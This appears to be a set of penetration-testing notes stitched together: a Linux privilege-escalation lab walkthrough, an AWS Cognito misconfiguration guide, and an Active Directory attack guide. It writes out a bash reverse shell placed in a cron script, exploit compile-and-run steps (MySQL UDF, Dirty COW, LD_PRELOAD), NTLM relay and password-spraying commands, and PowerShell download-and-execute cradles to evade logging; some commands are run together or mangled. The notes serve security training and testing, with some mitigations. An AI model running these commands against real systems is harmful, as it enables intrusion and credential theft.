Hell, no. when it’s come to post exploitation, there is some much to cover. Below is the basic concepts you can start for linux privesc.

Privilege tree

There are two main privilege escalation variants:

Horizontal privilege escalation: This is where you expand your reach over the compromised system by taking over a different user who is on the same privilege level as you. For instance, a normal user hijacking another normal user (rather than elevating to super user). This allows you to inherit whatever files and access that user has. This can be used, for example, to gain access to another normal privilege user, that happens to have an SUID file attached to their home directory (more on these later) which can then be used to get super user access. [Travel sideways on the tree].

Vertical privilege escalation (privilege elevation): This is where you attempt to gain higher privileges or access, with an existing account that you have already compromised. For local privilege escalation attacks this might mean hijacking an account with administrator privileges or root privileges. [Travel up on the tree].

SUID Explotation

Finding and Exploiting SUID Files

The first step in Linux privilege escalation exploitation is to check for files with the SUID/GUID bit set. This means that the file or files can be run with the permissions of the file(s) owner/group. In this case, as the super-user. We can leverage this to get a shell with these privileges!

What is an SUID binary?

As we all know in Linux everything is a file, including directories and devices which have permissions to allow or restrict three operations i.e. read/write/execute. So when you set permission for any file, you should be aware of the Linux users to whom you allow or restrict all three permissions. Take a look at the following demonstration of how maximum privileges (rwx-rwx-rwx) look:

r = read

w = write

x = execute

user group others

rwx rwx rwx

421 421 421

The maximum number of bit that can be used to set permission for each user is 7, which is a combination of read (4) write (2) and execute (1) operation. For example, if you set permissions using "chmod" as 755, then it will be: rwxr-xr-x.

But when special permission is given to each user it becomes SUID ****or SGID. When extra bit “4” is set to user(Owner) it becomes SUID (Set user ID) and when bit “2” is set to group it becomes SGID (Set Group ID).

Therefore, the permissions to look for when looking for SUID is:

SUID:

rws-rwx-rwx

GUID:

rwx-rws-rwx

Finding SUID Binaries

We already know that there is SUID capable files on the system, thanks to our LinEnum scan. However, if we want to do this manually we can use the command: "find / -perm -u=s -type f 2>/dev/null" to search the file system for SUID/GUID files. Let's break down this command.

find - Initiates the "find" command

/ - Searches the whole file system

• perm searches for files with specific permissions

• u=s Any of the permission bits mode are set for the file. Symbolic modes are accepted in this form

• type f Only search for files

2>/dev/null - Suppresses errors

Finding SUID Binaries - "find / -perm -u=s -type f 2>/dev/null"

/etc/passwd explotation

Exploiting a writable /etc/passwd

Continuing with the enumeration of users, we found that user7 is a member of the root group with gid 0. And we already know from the LinEnum scan that /etc/passwd file is writable for the user. So from this observation, we concluded that user7 can edit the /etc/passwd file.

Understanding /etc/passwd

The /etc/passwd file stores essential information, which is required during login. In other words, it stores user account information. The /etc/passwd is a plain text file. It contains a list of the system’s accounts, giving for each account some useful information like user ID, group ID, home directory, shell, and more.

The /etc/passwd file should have general read permission as many command utilities use it to map user IDs to user names. However, write access to the /etc/passwd must only limit for the superuser/root account. When it doesn't, or a user has erroneously been added to a write-allowed group. We have a vulnerability that can allow the creation of a root user that we can access.

Understanding /etc/passwd format

The /etc/passwd file contains one entry per line for each user (user account) of the system. All fields are separated by a colon : symbol. Total of seven fields as follows. Generally, /etc/passwd file entry looks as follows:

test:x:0:0:root:/root:/bin/bash

[as divided by colon (:)]

1. Username: It is used when user logs in. It should be between 1 and 32 characters in length.

2. Password: An x character indicates that encrypted password is stored in /etc/shadow file. Please note that you need to use the passwd command to compute the hash of a password typed at the CLI or to store/update the hash of the password in /etc/shadow file, in this case, the password hash is stored as an "x".

3. User ID (UID): Each user must be assigned a user ID (UID). UID 0 (zero) is reserved for root and UIDs 1-99 are reserved for other predefined accounts. Further UID 100-999 are reserved by system for administrative and system accounts/groups.

4. Group ID (GID): The primary group ID (stored in /etc/group file)

5. User ID Info: The comment field. It allow you to add extra information about the users such as user’s full name, phone number etc. This field use by finger command.

6. Home directory: The absolute path to the directory the user will be in when they log in. If this directory does not exists then users directory becomes /

7. Command/shell: The absolute path of a command or shell (/bin/bash). Typically, this is a shell. Please note that it does not have to be a shell.

How to exploit a writable /etc/passwd

It's simple really, if we have a writable /etc/passwd file, we can write a new line entry according to the above formula and create a new user! We add the password hash of our choice, and set the UID, GID and shell to root. Allowing us to log in as our own root user!.

Escaping vim

Escaping Vi Editor

Sudo -l

This exploit comes down to how effective our user account enumeration has been. Every time you have access to an account during a CTF scenario, you should use "sudo -l" to list what commands you're able to use as a super user on that account. Sometimes, like this, you'll find that you're able to run certain commands as a root user without the root password. This can enable you to escalate privileges.

Escaping Vi

Running this command on the "user8" account shows us that this user can run vi with root privileges. This will allow us to escape vim in order to escalate privileges and get a shell as the root user!

Misconfigured Binaries and GTFOBins

If you find a misconfigured binary during your enumeration, or when you check what binaries a user account you have access to can access, a good place to look up how to exploit them is GTFOBins. GTFOBins is a curated list of Unix binaries that can be exploited by an attacker to bypass local security restrictions. It provides a really useful breakdown of how to exploit a misconfigured binary and is the first place you should look if you find one on a CTF or Pentest.

Exploiting Crontab

Exploiting Crontab

What is Cron?

The Cron daemon is a long-running process that executes commands at specific dates and times. You can use this to schedule activities, either as one-time events or as recurring tasks. You can create a crontab file containing commands and instructions for the Cron daemon to execute.

How to view what Cronjobs are active.

We can use the command "cat /etc/crontab" to view what cron jobs are scheduled. This is something you should always check manually whenever you get a chance, especially if LinEnum, or a similar script, doesn't find anything.

Format of a Cronjob

Cronjobs exist in a certain format, being able to read that format is important if you want to exploit a cron job.

\= ID

m = Minute

h = Hour

dom = Day of the month

mon = Month

dow = Day of the week

user = What user the command will run as

command = What command should be run

For Example,

# m h dom mon dow user command

17 1 root cd / && run-parts --report /etc/cron.hourly

How can we exploit this?

We know from our LinEnum scan, that the file autoscript.sh, on user4's Desktop is scheduled to run every five minutes. It is owned by root, meaning that it will run with root privileges, despite the fact that we can write to this file. The task then is to create a command that will return a shell and paste it in this file. When the file runs again in five minutes the shell will be running as root.

Let's do it!

Cron jobs are programs or scripts which users can schedule to run at specific times or intervals. Cron table files (crontabs) store the configuration for cron jobs. The system-wide crontab is located at /etc/crontab.

View the contents of the system-wide crontab:

cat /etc/crontab

There should be two cron jobs scheduled to run every minute. One runs overwrite.sh, the other runs /usr/local/bin/compress.sh.

Locate the full path of the overwrite.sh file:

locate overwrite.sh

Note that the file is world-writable:

ls -l /usr/local/bin/overwrite.sh

Replace the contents of the overwrite.sh file with the following after changing the IP address to that of your Kali box.

#!/bin/bashbash -i >& /dev/tcp/10.10.10.10/4444 0>&1

Set up a netcat listener on your Kali box on port 4444 and wait for the cron job to run (should not take longer than a minute). A root shell should connect back to your netcat listener.

nc -nvlp 4444

PATH Variable explotation

Exploiting PATH Variable

What is PATH?

PATH is an environmental variable in Linux and Unix-like operating systems which specifies directories that hold executable programs. When the user runs any command in the terminal, it searches for executable files with the help of the PATH Variable in response to commands executed by a user.

It is very simple to view the Path of the relevant user with help of the command "echo $PATH".

How does this let us escalate privileges?

Let's say we have an SUID binary. Running it, we can see that it’s calling the system shell to do a basic process like list processes with "ps". Unlike in our previous SUID example, in this situation we can't exploit it by supplying an argument for command injection, so what can we do to try and exploit this?

We can re-write the PATH variable to a location of our choosing! So when the SUID binary calls the system shell to run an executable, it runs one that we've written instead!

As with any SUID file, it will run this command with the same privileges as the owner of the SUID file! If this is root, using this method we can run whatever commands we like as root!

Service Exploits

Service Exploits

The MySQL service is running as root and the "root" user for the service does not have a password assigned. We can use a popular exploit that takes advantage of User Defined Functions (UDFs) to run system commands as root via the MySQL service.

Change into the /home/user/tools/mysql-udf directory:

cd /home/user/tools/mysql-udf

Compile the raptor_udf2.c exploit code using the following commands:

gcc -g -c raptor_udf2.c -fPICgcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc

Connect to the MySQL service as the root user with a blank password:

mysql -u root

Execute the following commands on the MySQL shell to create a User Defined Function (UDF) "do_system" using our compiled exploit:

use mysql;create table foo(line blob);insert into foo values(load_file('/home/user/tools/mysql-udf/raptor_udf2.so'));select * from foo into dumpfile '/usr/lib/mysql/plugin/raptor_udf2.so';create function do_system returns integer soname 'raptor_udf2.so';

Use the function to copy /bin/bash to /tmp/rootbash and set the SUID permission:

select do_system('cp /bin/bash /tmp/rootbash; chmod +xs /tmp/rootbash');

Exit out of the MySQL shell (type exit or \q and press Enter) and run the /tmp/rootbash executable with -p to gain a shell running with root privileges:

/tmp/rootbash -p

Remember to remove the /tmp/rootbash executable and exit out of the root shell before continuing as you will create this file again later in the room!

rm /tmp/rootbashexit

Environment Variables explotation

Sudo - Environment Variables

Sudo can be configured to inherit certain environment variables from the user's environment.

Check which environment variables are inherited (look for the env_keep options):

sudo -l

LD_PRELOAD and LD_LIBRARY_PATH are both inherited from the user's environment. LD_PRELOAD loads a shared object before any others when a program is run. LD_LIBRARY_PATH provides a list of directories where shared libraries are searched for first.

Create a shared object using the code located at /home/user/tools/sudo/preload.c:

gcc -fPIC -shared -nostartfiles -o /tmp/preload.so /home/user/tools/sudo/preload.c

Run one of the programs you are allowed to run via sudo (listed when running sudo -l), while setting the LD_PRELOAD environment variable to the full path of the new shared object:

sudo LD_PRELOAD=/tmp/preload.so program-name-here

A root shell should spawn. Exit out of the shell before continuing. Depending on the program you chose, you may need to exit out of this as well.

Run ldd against the apache2 program file to see which shared libraries are used by the program:

ldd /usr/sbin/apache2

Create a shared object with the same name as one of the listed libraries (libcrypt.so.1) using the code located at /home/user/tools/sudo/library_path.c:

gcc -o /tmp/libcrypt.so.1 -shared -fPIC /home/user/tools/sudo/library_path.c

Run apache2 using sudo, while settings the LD_LIBRARY_PATH environment variable to /tmp (where we output the compiled shared object):

sudo LD_LIBRARY_PATH=/tmp apache2

A root shell should spawn. Exit out of the shell. Try renaming /tmp/libcrypt.so.1 to the name of another library used by apache2 and re-run apache2 using sudo again. Did it work? If not, try to figure out why not, and how the library_path.c code could be changed to make it work.

SUID / SGID Executables - Shared Object Injection

The /usr/local/bin/suid-so SUID executable is vulnerable to shared object injection.

First, execute the file and note that currently it displays a progress bar before exiting:

/usr/local/bin/suid-so

Run strace on the file and search the output for open/access calls and for "no such file" errors:

strace /usr/local/bin/suid-so 2>&1 | grep -iE "open|access|no such file"

Note that the executable tries to load the /home/user/.config/libcalc.so shared object within our home directory, but it cannot be found.

Create the .config directory for the libcalc.so file:

mkdir /home/user/.config

Example shared object code can be found at /home/user/tools/suid/libcalc.c. It simply spawns a Bash shell. Compile the code into a shared object at the location the suid-so executable was looking for it:

gcc -shared -fPIC -o /home/user/.config/libcalc.so /home/user/tools/suid/libcalc.c

Execute the suid-so executable again, and note that this time, instead of a progress bar, we get a root shell.

/usr/local/bin/suid-so

SUID / SGID Executables - Environment Variables

The /usr/local/bin/suid-env executable can be exploited due to it inheriting the user's PATH environment variable and attempting to execute programs without specifying an absolute path.

First, execute the file and note that it seems to be trying to start the apache2 webserver:

/usr/local/bin/suid-env

Run strings on the file to look for strings of printable characters:

strings /usr/local/bin/suid-env

One line ("service apache2 start") suggests that the service executable is being called to start the webserver, however the full path of the executable (/usr/sbin/service) is not being used.

Compile the code located at /home/user/tools/suid/service.c into an executable called service. This code simply spawns a Bash shell:

gcc -o service /home/user/tools/suid/service.c

Prepend the current directory (or where the new service executable is located) to the PATH variable, and run the suid-env executable to gain a root shell:

PATH=.:$PATH /usr/local/bin/suid-env

SUID / SGID Executables - Abusing

Shell Features (#1)

The /usr/local/bin/suid-env2 executable is identical to /usr/local/bin/suid-env except that it uses the absolute path of the service executable (/usr/sbin/service) to start the apache2 webserver.

Verify this with strings:

strings /usr/local/bin/suid-env2

In Bash versions <4.2-048 it is possible to define shell functions with names that resemble file paths, then export those functions so that they are used instead of any actual executable at that file path.

Verify the version of Bash installed on the Debian VM is less than 4.2-048:

/bin/bash --version

Create a Bash function with the name "/usr/sbin/service" that executes a new Bash shell (using -p so permissions are preserved) and export the function:

function /usr/sbin/service { /bin/bash -p; }export -f /usr/sbin/service

Run the suid-env2 executable to gain a root shell:

/usr/local/bin/suid-env2

Shell Features (#2)

Note: This will not work on Bash versions 4.4 and above.

When in debugging mode, Bash uses the environment variable PS4 to display an extra prompt for debugging statements.

Run the /usr/local/bin/suid-env2 executable with bash debugging enabled and the PS4 variable set to an embedded command which creates an SUID version of /bin/bash:

env -i SHELLOPTS=xtrace PS4='$(cp /bin/bash /tmp/rootbash; chmod +xs /tmp/rootbash)' /usr/local/bin/suid-env2

Run the /tmp/rootbash executable with -p to gain a shell running with root privileges:

/tmp/rootbash -p

Remember to remove the /tmp/rootbash executable and exit out of the elevated shell before continuing as you will create this file again later in the room!

rm /tmp/rootbashexit

Passwords & Keys

History Files

If a user accidentally types their password on the command line instead of into a password prompt, it may get recorded in a history file.

View the contents of all the hidden history files in the user's home directory:

cat ~/.*history | less

Note that the user has tried to connect to a MySQL server at some point, using the "root" username and a password submitted via the command line. Note that there is no space between the -p option and the password!

Switch to the root user, using the password:

su root

Config Files

Config files often contain passwords in plaintext or other reversible formats.

List the contents of the user's home directory:

ls /home/user

Note the presence of a myvpn.ovpn config file. View the contents of the file:

cat /home/user/myvpn.ovpn

The file should contain a reference to another location where the root user's credentials can be found. Switch to the root user, using the credentials:

su root

SSH Keys

Sometimes users make backups of important files but fail to secure them with the correct permissions.

Look for hidden files & directories in the system root:

ls -la /

Note that there appears to be a hidden directory called .ssh. View the contents of the directory:

ls -l /.ssh

Note that there is a world-readable file called root_key. Further inspection of this file should indicate it is a private SSH key. The name of the file suggests it is for the root user.

Copy the key over to your Kali box (it's easier to just view the contents of the root_key file and copy/paste the key) and give it the correct permissions, otherwise your SSH client will refuse to use it:

chmod 600 root_key

Use the key to login to the Debian VM as the root account:

ssh -i root_key root@10.10.193.56

NFS

Files created via NFS inherit the remote user's ID. If the user is root, and root squashing is enabled, the ID will instead be set to the "nobody" user.

Check the NFS share configuration on the Debian VM:

cat /etc/exports

Note that the /tmp share has root squashing disabled.

On your Kali box, switch to your root user if you are not already running as root:

sudo su

Using Kali's root user, create a mount point on your Kali box and mount the /tmp share (update the IP accordingly):

mkdir /tmp/nfsmount -o rw,vers=2 10.10.10.10:/tmp /tmp/nfs

Still using Kali's root user, generate a payload using msfvenom and save it to the mounted share (this payload simply calls /bin/bash):

msfvenom -p linux/x86/exec CMD="/bin/bash -p" -f elf -o /tmp/nfs/shell.elf

Still using Kali's root user, make the file executable and set the SUID permission:

chmod +xs /tmp/nfs/shell.elf

Back on the Debian VM, as the low privileged user account, execute the file to gain a root shell:

/tmp/shell.elf

Kernel Exploits

Kernel exploits can leave the system in an unstable state, which is why you should only run them as a last resort.

Run the Linux Exploit Suggester 2 tool to identify potential kernel exploits on the current system:

perl /home/user/tools/kernel-exploits/linux-exploit-suggester-2/linux-exploit-suggester-2.pl

The popular Linux kernel exploit "Dirty COW" should be listed. Exploit code for Dirty COW can be found at /home/user/tools/kernel-exploits/dirtycow/c0w.c. It replaces the SUID file /usr/bin/passwd with one that spawns a shell (a backup of /usr/bin/passwd is made at /tmp/bak).

Compile the code and run it (note that it may take several minutes to complete):

gcc -pthread /home/user/tools/kernel-exploits/dirtycow/c0w.c -o c0w./c0w

Once the exploit completes, run /usr/bin/passwd to gain a root shell:

/usr/bin/passwd

Remember to restore the original /usr/bin/passwd file and exit the root shell before continuing!

mv /tmp/bak /usr/bin/passwdexit

Resources

There is never a "magic" answer in the huge area that is Linux Privilege Escalation. This is simply a few examples of basic things to watch out for when trying to escalate privileges.The only way to get better at it, is to practice and build up experience. Checklists are a good way to make sure you haven't missed anything during your enumeration stage, and also to provide you with a resource to check how to do things if you forget exactly what commands to use.

Below is a list of good checklists to apply to CTF or penetration test use cases.

• https://github.com/netbiosX/Checklists/blob/master/Linux-Privilege-Escalation.md

• https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology and Resources/Linux - Privilege Escalation.md

• https://sushant747.gitbooks.io/total-oscp-guide/privilege_escalation_-_linux.html

• https://payatu.com/guide-linux-privilege-escalation

• https://github.com/peass-ng/PEASS-ng/tree/master/linPEAS

This blog post is all about the text version of the video by yassine that I have been keeping in my unstructured notes from quite some time. This can be useful during the pentesting while hunting for the cognito misconfigurations.

Introduction to AWS Cognito

• With Amazon cognito, you can add user-signup and sign-in features and control access to your web and mobile applications.

• Amazon Cognito provides an identity store that scales to millions of users, supports social and enterprise identitiy federation (OIDC or SAML 2.0) and offers advanced security features to protect your consumers and business.

• Amazon Cognito makes it easier for you to manage user identifies, authentication and permissions. It conisists of two main components:

• User pools: allows sign-in and sign-up functionality.

• Identiity Pools: allow authenticated and unauthenticated users to access AWS resources using temporary AWS credentials.

Cognito URLs Enumeration

• API call user pool endpoint : cognito-idp.us-west2.amazaonaws.com

• API calls to identity pool endpoint : cognito-identity.us-west-2.amazonaws.com

Below are the list of AWS cognito misconfiguration that can be seen in the targets during the pentesting/bugbounty:

Unauthorized Access to AWS services due to Libreal AWS credentials

• Guest Account is Enabled (Anyone can request credentials).

  

• Try to fetch temporary AWS credentials as unauthenticated guest:

To generate the AWS credentials, we need to identify Pool ID which is usually hardcoded in the source code, in a bundled JS file or HTTP response. Other Useful information that you can find:

• Client ID.

• User Pool ID.

• Region.

  

After getting the required information,

Next step is to use the Pool Identity ID to generate an Identity ID.

Use AWS Client as shown below:

aws cognito-identity get-id —identity-pool-id <identity-pool-id> —region <region>

Successful output:

• Next step is to use the previous Identity ID to generate AWS credentials. Use AWS cli as follows:

aws cognito-identity get-credentials-for identity —identity-id <identity-id> —region <region>

Successful Output:

• Now, awe can enumerate permissions associated with the obtained credentials using a tool such as:

Enumerate-iam.

Scout suite.

Evidence:

we can enumerate all sort of permissions that allow unauthenticated user to access AWS Services:

• dynamodb.list_backups().

• dynamodb.list_tables().

• lambda.list_functions().

• s3.list_buckets().

• etc.

If the unauthenticated role is explicitly disabled, the following error is shown:

• Also, try to fetch temporary AWS credentials as authenticated user as shown below:

Authentication Bypass Due to Enabled Signup API action

• Applications not offering user signup and only supporting administrative provision of accounts could be vulnerable as a result of not disabling signup API action.

• This includes admin login portals which implements AWS cognito allowing authentication bypass as a result.

  

• For the explotation we need client ID which can be retrieved via JS files or HTTP request. After obtaining the client ID we can register an account with the following command via AWS cli:

aws cognito-idp sign-up —client-id <client-id> —username <email_address> —password <password> —region <region>

Both successful and error in below evidence:

• In case of a successful self-registration , a 6 digits confirmation code will be delivered to the attacker’s email address as shown below:

  

• Now we will need to confirm the account next using the following code:

aws cognito-idp confirm-sign-up —client-id <client-id> —username <email-address> —confirmation-code <confirmation-code> —region <region>

Privilege Escalation Through writable User attributes

• Attributes are pieces of information that help you identify individual users. such as name, email address, and phone number. A new user pool has a set of default standard attributes.

  

• We can also add custom attributes to your user pool definition in the AWS Management Console as shown below:

  

• Unless set as readable only, the new custom attribute permission is writable by default which allows the user to update it’s values.

  

• In order to test against this misconfiguration, we need to be authenticated then we’ll fetch the available user attributes using the generated access token as shown as example below: ( Check Authorization header).

  

After obtaining the access token , we can use the command given below to fetch the user attributes:

aws cognito-idp get-user —region <region> —access-token <access-token>

Fetched user attributes will look like this:

From the list we need to look for the custom attributes such as:

custom:isAdmin

custom:userRole

custom:isActive

custom:isApproved

custom:accessLevel

Now we will try to update the user attributes to check if they are write able using aws cli:

aws cognito-idp update-user-attributes —access-token <access-token> —region <region> —user-attributes Name=”<attribute-name>”, Value=”<new-value>”

Updating email attribute before verification

• There are scenarios where the user isn’t allowed to update their email address due to both client and server-side security controls. However , by leveraging cognito API, it might also be possible to bypass this restriction.

This can be achieved by using the following command:

aws cognito-idp update-user-attributes —access-token <access-token> —region <region> —user-attributes Name=”email”, Value=”<new-email -address>”

This is especially bad when verification isn’t required. If the email is relied upom for authorization and access control, this will result in horizontal and vertical privilege escalation.

• Even with email verification enabled. most applications will update the email attribute value to the new unverified email address. This is bad because the user will be able still be able to login and obtain an authenticated access token using the unverified email address.

• Many application do not necessarily check if email_verified is set to True or False. Therefore ,this would bypass any security controls that relies on email domain for authorization, hence privilege escalation.

Mitigation:

• AWS has introduced a new security configuration to mitigate this issue, so if you have Keep original attribute value active when an update is pending explicitly enabled the email attribute will not be updated to the new email address until is verified.

• This new security configuration was introduced on June 2022 which means no chance. (but still can be found maybe)

  

User Account Enumeration via Signup API

AWS has fixed the user account enumeration in login, but it is still possible using cognito Signup API using the following command:

aws cognito-idp sign-up —client-id <Client_ID> —username admin —password adminpass

Successful output will look something like this:

Recommendation

• Remove sensitive details from server responses, including cognito identity pool id.

• Disable signup on AWS cognito if not required.

• Disable unauthenticated role if not required.

• Review IAM policy attached to the authenticated and unauthenticated role to ensure least privilege access.

• Evaluate all user attributes and disable writing permission if not necessary.

• Remember that the email attribute value may hold an unverified email address.

Hunting for cognito in pentest and bugbounty often leads to high or critical severity issues. Make sure to understand the application nature and try to bypass the business logic of the target application abusing the cognito misconfiguration can be a great win. If you are reading upto here, i would like to thank you for your patience and hope this will help you.

Note: You might have used the crackmapexec as your favourite swiss army knife. But, cme is no longer maintained. Thank me later & just install nxc.

So, after spending the time & having the useful goodies via recon. Let's move further into getting the initial attack vector.

Initial Attack Vectors:

• LLMNR Poisoning

  • It is used to identify hosts when DNS fails to do so and Previously known as NBT-NS.

  • Key flaw is that the services utilize a user's username and NTMLV1/NTLMV2 hash when appropriately responded to.

• Explotation.

  • Step 1: Running Responder to listen broadcast:

    Sudo responsder -I eth0 -dw

  • Step 2: An event occurs including someone in the org messed up with the DNS issue ( lazy employees with the failed login attempt after having lunch).

  • Step 3: Get NTLMv1/NTLMv2 hashes.

  • Step 4: Save and cracking the hashes using hashcat:

    hashcat -m <insert_hash_here> hashes.txt rockyou.txt

Quick tip: Craft your own wordlist or pray with rockyou.

• Defending LLMNR Poisoning

  • The best defense in this case is to disable LLMNR and NBT-NS.

    • To disable LLMNR, select "Turn OFF Multicast Name Resolution" under Local Computer Policy > Computer Configuration > Administrative Templates > Network > DNŠ Client in the Group Policy Editor.

    • To disable NBT-NS, navigate to Network Connections > Network Adapter Properties > TCP/IPV4 Properties Advanced tab > WINS tab and select "Disable NetBIOS over TCP/IP".

  • If a company must use or cannot disable LLMNR/NBT-NS, the best course of action is to:

    • Require Network Access Control.

    • Require strong user passwords (e.g., >14 characters in length and limit common word usage). The more complex and long the password, the harder it is for an attacker to crack the hash.

• SMB Relay

  • Instead of cracking hashes gathered with Responder, we can instead relay those hashes to specific machines and potentially gain access as the local administrators.

  • To perform the successful SMB Relay attack:

    • SMB signing should have been disabled in the organizational internal network infrastructure.

    • The obtained user should be a local administrator in the multiple machines.

• Explotation:

  • Step 1 : Gathering the smb signing enabled hosts with nmap & nxc:

    nmap --script =smb2-security-mode nse -p 445 192.168.10.0/24

    nxc smb 192.168.10.0/24

  • Step 2: Responder Configuration changes:

    Editing the responder.conf ( setting SMB=off HTTP=off)

    Note: By doing this we will listen via reponder, but not respond to it on the servers.

  • Step 3: Run Responder now:

    Sudo responsder -I eth0 -dw

  • Step 4: Run the ntmlrelayx tool with the target IP range:

    impacket-ntlmrelayx -tf targets.txt -smb2 support

  • Step 5: Someone again tries to open wrong network drive or anything that cause DNS problem.

  • Step 6: Results start appearing including the authentication successful of victim local admin account in other machine, dumping local sam hashes and many more.

  • Step 7 : Getting the shell access with the ntlmrelayx tool:

    impacket-ntlmrelayx -tf targets.txt -smb2support -i

  • Step 8: Getting connected using the netcat:

    nc 192.168.10.1 1337

• Defending SMB Relay

  • Enable SMB Signing on all devices.

    • Pros: completely stops the smb relay attack.

    • Cons: can impact performance issues with file shares.

  • Disable NTLM authentication on network.

    • Pros: Completely stops the attack.

    • Cons: If kerberos stops working, windows defaults back to NTLM.

  • Account Tiering:

    • Pros: Limits domain admins to specific tasks.(e.g: only log into servers with need of Domain Admin)

    • Cons: Enforcing the policy may be difficult in the corporate environments.

  • Local Admins Restriction/Limitations:

    • Pros: Can Prevent alot of lateral movement.

    • Cons: Potential increase in the amount of service desk tickets.

• IPV6 DNS Takeover

  • There is the network infrastructure running IPv6, but not utilizing the IPv6.Quick question in the mind , if Ipv6 is not utilized nobody is working on it’s DNS resolution.Now Attacker will sit somewhere in the networking spoofing Ipv6 DNS. ( Listening all the traffic).There is the victim machine running IPv6, but not utilizing the IPv6.Quick question in the mind , if Ipv6 is not utilized nobody is working on it’s DNS resolution.Now Attacker will sit somewhere in the networking spoofing Ipv6 DNS. ( Listening all the traffic )

    In this process , the issue is an attacker can get authenticated to the domain controller. ( via LDAP, via SMB).

  • From this attack, we can achieve:

    • we can use the DC (Domain controller) to create another machine.

    • Now, when somebody logged into the network or use their credentials somewhere an attacker can gain access to NTLM hashes.

    • We can also call this a LDAP Relay.

• Explotation:

  • Step 1: Running the mitm6 tool with fake wpad.

    mitm6 -d pentest.local

  • Running ntlmrelayx with the given required options:

    impacket-ntmlrelayx -6 -t -wh fakewpad.pentest.local -l output_directory

  • Check the juicy results given by the tool including hashes, potential sensitive information leakage in the user descriptions.

• Defending IPV6 Relay:

  • Ipv6 poisonings abuses the fact that windows queries for an IPv6 address even in IPv4-only environments.If you don’t use IPv6 internally the safest way to prevent mitm6 is to block DHCPv6 traffic and incoming router advertisements in windows Firewall via Group policy.

  • Disabling IPV6 entirely may have unwanted side effects.

  • Setting the following pre-defined rules to block instead of Allow prevents the attack from working:

    • (Inbound ) core networking- Dynamic Host Configuration Protocol for IPv6 (DHCPV6-In).

    • (Inbound) Core Networking- Router Advertisement ( ICMPv6-In)

    • (Out bound) Core Networking- Dynamic Host Configuration Protocol for Ipv6 (DHCP-Out).

    • If WPAD is not in use internally, disable it via group policy and disabling the win HTTP Auto Proxy svc service.

    • Relaying to LDAP and LDAPS can only be mitigated by enabling both LDAP signing and LDAP channel binding.

    • Consider Administrative users to the protected users group or making them as Account is sensitive and cannot delegated, which will prevent any implementation of that user via delegation.

• Password Profiling/Spraying

  Its been years doing the internal active directory assessments all i can say with my experience is most of the initial foothold into the environment is through the password spray. All you can do is grab the commonly used password from the internet or curate the wordlist based on the organization name. There are some tools out there for the help such as mentalist. I prefer to go with the manual way for curating lists such as Orgname@1234, Orgname@2024 etc. Important thing is to spray the curated password responsibly since it might lockout users PC temporarily and can be a bad idea to annoy them.

• Since we are unautheticated, crafting a user list with the smb null session enabled:

  nxc smb <dc_ip> -u ' ' -p ' ' --users

• Crafting a user list using the guest user enabled:

  nxc smb <dc_ip> -u 'aaa' -p 'aaa' --users

• Manually crafting the users list combining osint andcommon naming conventions in the active directory environment (john.cena, Jcena).

• Spraying one password at a time in network range using nxc:

  nxc smb <ip_range> -u users_list.txt -p 'Orgname@1234' | tee out.txt

• Spraying one password at a time in network range using nxc for local administrators compromise:

  nxc smb <ip_range> -u users_list.txt -p 'Orgname@1234' --local-auth | tee out.txt

• Checking for winrm connection through the obtained valid credentials from previous spray using nxc:

  nxc winrm <ip_address> -u 'john.cena' -p 'Orgname@1234'

• Establishing winrm connection using evilwinrm:

  evil-winrm -i <ip_address> -u 'john.cena' -p 'Orgname@1234'

  CVE checks

• Lets not forgot the old good goldmines aka CVEs that can lead to quick easy wins such as zero-logon, eternalblue and so on:

  • Spinning up the basic nessus scan on the in-scope IP range can identify these potential CVEs.

Post Compromise Enumeration

After getting some passwords and hashes let's perform post compromise enumeration using the tools such as powerview, bloodhound.

• Common Powershell security bypass using the Invishell.

  Being in the modern enterprise security environment, there can be the annoying security products such as EDR/XDR in place. However, let's assume that our environment excludes those scenarios and focus on the basic powershell security bypasses. For the basic powershell security bypass we can use Invishell.

  • The tool hooks the .NET assemblies (System.Management.Automation.dll and System.Core.dll) to bypass logging.

  • It uses a CLR Profiler API to perform the hook.

  • "A common language runtime (CLR) profiler is a dynamic link library (DLL) that consists of functions that receive messages from, and send messages to, the CLR by using the profiling API. The profiler DLL is loaded by the CLR at run time."

  • Downloading & execute the Invishell in the memory using invoke expressions (iex) in powershell: ( this will probably take care of probable system wide transcription, script block logging & AMSI):

    iex (New-Object Net.WebClient).DownloadString('https://webserver/payload.ps1')

  • Post-Compromise Enumeration

    1. Using the powerview:

• Downloading and executing the powerview in the memory using invoke expressions in the powershell:

  iex (New-Object Net.WebClient).DownloadString('https://github.com/ZeroDayLab/PowerSploit/blob/master/Recon/PowerView.ps1')

• Get current domain:

  Get-Domain

• Get object of another domain

  Get-Domain -Domain wwe.local

• Get domain SID for the current domain

  Get-DomainSID

• Get domain policy for the current domain

  Get-DomainPolicyData (Get-DomainPolicyData).systemaccess

• Get domain policy for another domain

  (Get-DomainPolicyData -domain wwe.local).systemaccess

• Get domain controllers for the current domain

  Get-DomainController

• Get domain controllers for another domain

  Get-DomainController -Domain wwe.local

• Get a list of users in the current domain

  Get-DomainUser

  Get-DomainUser -Identity john.cena

• Get list of all properties for users in the current domain

  Get-DomainUser -Identity john.cena -Properties *

  Get-DomainUser -Properties samaccountname,logonCount

• Search for a particular string in a user's attributes

  Get-DomainUser -LDAPFilter "Description=built" | Select name,Description

• Get a list of computers in the current domain

  Get-DomainComputer | select Name

  Get-DomainComputer -OperatingSystem "Server 2022"

• Get all the groups in the current domain

  Get-DomainGroup | select Name

  Get-DomainGroup -Domain <targetdomain>

• Get all groups containing the word "admin" in group name

  Get-DomainGroup admin

• Get all the groups in the current domain Get-DomainGroup | select Name Get-DomainGroup -Domain <targetdomain> Get-ADGroup -Filter * | select Name Get-ADGroup -Filter * -Properties *

• Get all groups containing the word "admin" in group name Get-DomainGroup *admin* Get-ADGroup -Filter 'Name -like "*admin*"' | select Name

• To get the enterprise admin group via the forest root:

Get-DomainGroup *admin* -Domain <forestname> | select name

• Get all the members of the Domain Admins group

  Get-DomainGroupMember -Identity "Domain Admins" -Recurse

• Get the group membership for a user:

  Get-DomainGroup -UserName "student1" Get-ADPrincipalGroupMembership -Identity student

• List all the local groups on a machine (needs administrator privs on non-dc machines) :

  Get-NetLocalGroup -ComputerName john-cenadc

• Get members of the local group "Administrators" on a machine (needs administrator privs on non-dc machines) :

  Get-NetLocalGroupMember -ComputerName john-cenadc -GroupName Administrators

• Get actively logged users on a computer (needs local admin rights on the target)

  Get-NetLoggedon -ComputerName johncena-dc

